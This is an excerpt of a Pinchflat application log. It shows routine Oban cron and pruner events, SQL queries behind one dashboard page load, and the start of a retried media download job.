{"source":"oban","duration":561,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:31:04.728 [info] {"source":"oban","duration":1355,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:31:34.730 [info] {"source":"oban","duration":963,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:32:00.562 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:32:04.732 [info] {"source":"oban","duration":956,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:32:34.734 [info] {"source":"oban","duration":1445,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:33:00.563 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:33:04.736 [info] {"source":"oban","duration":1397,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:33:34.738 [info] {"source":"oban","duration":1182,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:34:00.564 [info] {"source":"oban","duration":292,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:34:04.740 [info] {"source":"oban","duration":1416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:34:34.742 [info] {"source":"oban","duration":1167,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:35:00.565 [info] {"source":"oban","duration":473,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:35:04.744 [info] {"source":"oban","duration":1177,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:35:34.746 [info] {"source":"oban","duration":1291,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:36:00.566 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:36:04.748 [info] {"source":"oban","duration":1201,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:36:34.750 [info] {"source":"oban","duration":1308,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:37:00.567 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:37:04.752 [info] {"source":"oban","duration":1101,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:37:34.754 [info] {"source":"oban","duration":1212,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:38:00.568 [info] {"source":"oban","duration":293,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:38:04.756 [info] {"source":"oban","duration":1356,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:38:34.758 [info] {"source":"oban","duration":1420,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:39:00.569 [info] {"source":"oban","duration":276,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:39:04.760 [info] {"source":"oban","duration":1361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:39:34.762 [info] {"source":"oban","duration":1444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:40:00.570 [info] {"source":"oban","duration":238,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:40:04.764 [info] {"source":"oban","duration":1131,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:40:34.765 [info] {"source":"oban","duration":957,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:41:00.571 [info] {"source":"oban","duration":277,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:41:04.768 [info] {"source":"oban","duration":950,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:41:34.770 [info] {"source":"oban","duration":1037,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:42:00.572 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:42:04.772 [info] {"source":"oban","duration":1487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:42:34.774 [info] {"source":"oban","duration":1348,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:43:00.573 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:43:04.776 [info] {"source":"oban","duration":1583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:43:34.778 [info] {"source":"oban","duration":1458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:44:00.574 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:44:04.779 [info] {"source":"oban","duration":949,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:44:34.782 [info] {"source":"oban","duration":1029,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:45:00.575 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:45:04.784 [info] {"source":"oban","duration":1314,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:45:34.786 [info] {"source":"oban","duration":1439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:46:00.576 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:46:04.788 [info] {"source":"oban","duration":1333,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:46:34.790 [info] {"source":"oban","duration":1313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:47:00.577 [info] {"source":"oban","duration":311,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:47:04.792 [info] {"source":"oban","duration":1224,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:47:34.794 [info] {"source":"oban","duration":1418,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:48:00.578 [info] {"source":"oban","duration":199,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:48:04.796 [info] {"source":"oban","duration":1260,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:48:34.798 [info] {"source":"oban","duration":1217,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:49:00.579 [info] {"source":"oban","duration":319,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:49:04.800 [info] {"source":"oban","duration":1405,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:49:34.802 [info] {"source":"oban","duration":1500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:50:00.580 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:50:04.804 [info] {"source":"oban","duration":1531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:50:34.805 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:51:00.581 [info] {"source":"oban","duration":336,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:51:04.808 [info] {"source":"oban","duration":1462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:51:34.810 [info] {"source":"oban","duration":1235,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:52:00.582 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:52:04.812 [info] {"source":"oban","duration":1250,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:52:34.814 [info] {"source":"oban","duration":1023,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:53:00.583 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:53:04.815 [info] {"source":"oban","duration":908,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:53:34.818 [info] {"source":"oban","duration":1361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:54:00.584 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:54:04.820 [info] {"source":"oban","duration":1436,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:54:34.822 [info] {"source":"oban","duration":1396,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:55:00.585 [info] {"source":"oban","duration":350,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:55:04.824 [info] {"source":"oban","duration":1618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:55:34.826 [info] {"source":"oban","duration":1055,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:56:00.586 [info] {"source":"oban","duration":335,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:56:04.828 [info] {"source":"oban","duration":1368,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:56:34.830 [info] {"source":"oban","duration":1347,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:56:43.598 [info] GET / 15:56:43.598 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 15:56:43.599 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=918.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:43.600 [debug] QUERY OK source="media_profiles" db=0.2ms idle=919.5ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 15:56:43.600 [debug] QUERY OK source="sources" db=0.1ms idle=920.0ms SELECT count(s0."id") FROM "sources" AS s0 [] 15:56:43.606 [debug] QUERY OK source="media_items" db=6.1ms idle=920.3ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:56:43.608 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=349.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:56:43.609 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=9.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:43.610 [debug] QUERY OK source="settings" db=0.3ms idle=9.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:43.611 [debug] QUERY OK source="settings" db=0.3ms idle=10.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:43.613 [debug] QUERY OK source="tasks" db=0.5ms idle=5.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:56:43.614 [debug] QUERY OK source="media_items" db=0.5ms idle=5.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:56:43.616 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=5.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:56:43.617 [debug] QUERY OK source="sources" db=0.4ms idle=6.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [4, 5] 15:56:43.626 [debug] QUERY OK source="media_items" db=5.6ms idle=9.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 15:56:43.628 [debug] QUERY OK source="media_items" db=1.5ms idle=13.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:56:43.629 [debug] QUERY OK source="sources" db=0.4ms idle=14.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 15:56:43.633 [info] Sent 200 in 35ms 15:57:00.587 [info] {"source":"oban","duration":312,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:57:04.832 [info] {"source":"oban","duration":1377,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:57:34.834 [info] {"source":"oban","duration":1431,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:58:00.588 [info] {"source":"oban","duration":266,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:58:04.836 [info] {"source":"oban","duration":1401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:58:34.838 [info] {"source":"oban","duration":1383,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:59:00.589 [info] {"source":"oban","duration":267,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:59:04.840 [info] {"source":"oban","duration":1504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:59:34.842 [info] {"source":"oban","duration":1383,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:00:00.590 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:00:04.844 [info] {"source":"oban","duration":1725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:00:34.847 [info] {"source":"oban","duration":1296,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:01:00.591 [info] {"source":"oban","duration":418,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:01:04.849 [info] {"source":"oban","duration":1346,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:01:34.852 [info] {"source":"oban","duration":2133,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:02:00.592 [info] {"source":"oban","duration":414,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:02:04.854 [info] {"source":"oban","duration":1364,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:02:34.855 [info] {"source":"oban","duration":777,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:03:00.593 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:03:04.858 [info] {"source":"oban","duration":1429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:03:34.860 [info] {"source":"oban","duration":1206,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:04:00.594 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:04:04.862 [info] {"source":"oban","duration":1142,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:04:34.864 [info] {"source":"oban","duration":1011,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:05:00.595 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:05:04.866 [info] {"source":"oban","duration":1346,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:05:34.868 [info] {"source":"oban","duration":1161,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:06:00.596 [info] {"source":"oban","duration":288,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:06:04.870 [info] {"source":"oban","duration":1418,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:06:34.872 [info] {"source":"oban","duration":1320,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:07:00.597 [info] {"source":"oban","duration":294,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:07:04.874 [info] {"source":"oban","duration":1434,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:07:34.876 [info] {"source":"oban","duration":1085,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:08:00.598 [info] {"source":"oban","duration":259,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:08:04.878 [info] {"source":"oban","duration":1218,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:08:34.880 [info] {"source":"oban","duration":1315,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:09:00.599 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:09:04.882 [info] {"source":"oban","duration":1404,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:09:34.884 [info] {"source":"oban","duration":1137,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:10:00.600 [info] {"source":"oban","duration":297,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:10:04.885 [info] {"source":"oban","duration":934,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:10:34.888 [info] {"source":"oban","duration":1533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:11:00.601 [info] {"source":"oban","duration":228,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:11:04.890 [info] {"source":"oban","duration":1397,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:11:34.892 [info] {"source":"oban","duration":1501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:12:00.602 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:12:04.894 [info] {"source":"oban","duration":1548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:12:34.896 [info] {"source":"oban","duration":1423,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:13:00.603 [info] {"source":"oban","duration":324,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:13:04.898 [info] {"source":"oban","duration":1320,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:13:34.900 [info] {"source":"oban","duration":1368,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:14:00.604 [info] {"source":"oban","duration":246,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:14:04.902 [info] {"source":"oban","duration":1031,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:14:34.904 [info] {"source":"oban","duration":1441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:15:00.605 [info] {"source":"oban","duration":299,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:15:04.906 [info] {"source":"oban","duration":1526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:15:34.908 [info] {"source":"oban","duration":1438,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:16:00.606 [info] {"source":"oban","duration":258,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:16:04.910 [info] {"source":"oban","duration":1142,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:16:34.912 [info] {"source":"oban","duration":1373,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:17:00.607 [info] {"source":"oban","duration":483,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:17:04.914 [info] {"source":"oban","duration":1265,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:17:33.793 [info] {"args":{"id":102574},"id":2589,"meta":{},"system_time":1765754253793114807,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":19,"tags":["media_item","media_fetching","show_in_dashboard"]} 16:17:33.794 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=1112.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [102574] 16:17:33.795 [info] User scripts lifecyle file either not present or is empty. Skipping. 16:17:33.796 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=1114.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:17:33.797 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=1013.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:17:33.798 [debug] QUERY OK source="media_items" db=0.9ms idle=12.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [102574] 